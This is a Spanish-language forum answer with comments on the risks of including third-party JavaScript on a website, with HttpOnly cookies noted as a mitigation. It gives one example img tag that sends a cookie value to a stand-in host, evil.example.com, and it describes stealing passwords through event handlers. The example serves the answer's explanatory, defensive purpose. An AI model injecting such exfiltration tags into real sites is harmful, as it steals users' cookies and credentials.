Tiene el potencial de ser un gran agujero de seguridad por lo que debe confiar en ese sitio que aloja el archivo JavaScript.
Por ejemplo, ese código puede inyectar más etiquetas de secuencia de comandos y etiquetas img en su sitio que pueden retransmitir datos confidenciales a un tercero.
El comentario de David sobre la política del mismo origen puede ser engañoso. Una forma clásica para transmitir datos a un sitio remoto es insertar una etiqueta img a un dominio remoto:
<img src="http://evil.example.com/sendcookieshere.whatever?cookievalue=secret_info />
Si el código JavaScript en el host remoto se cambió para inyectar de forma dinámica una etiqueta img como este entonces su sitio podría tener un agujero de seguridad. Existen mitigaciones para algunos de estos problemas, como el uso de cookies HTTP, que no son accesibles a través de JavaScript.
El ejemplo de los sistemas analíticos es excelente. Debe confiar en que el proveedor no tomará datos confidenciales como sus propias cookies y las enviará a una ubicación remota. También debe confiar en el proveedor que su sistema es seguro y que un hacker no puede alterar los archivos JavaScript en sus servidores. Los sistemas de análisis generalmente funcionan al usar estas mismas técnicas, pero es de esperar que lo utilicen para bien y no para mal. En cierto sentido, no es diferente de preocuparse por si sus desarrolladores están escribiendo un código bueno y seguro y si introducen una puerta trasera secreta.
En cuanto a por qué está permitido, es simplemente histórico. La web no fue diseñada en absoluto con la seguridad en mente. Ya se trate de un ataque CSRF, ataques de repetición o ataques XSS, estos son todos defectos fundamentales en el diseño de la web que ahora se convierten en preocupaciones de los desarrolladores web.
Es cierto que las cookies HTTP sólo pueden ser extraídos mediante el análisis de los encabezados de JavaScript ¿verdad? – alex
@alex - No estoy seguro de eso. El JavaScript también podría hacer otras cosas que son mucho más malvadas, como robar contraseñas mediante la unión de controladores de eventos para ingresar etiquetas que luego envían el texto a un servidor remoto. – Eilon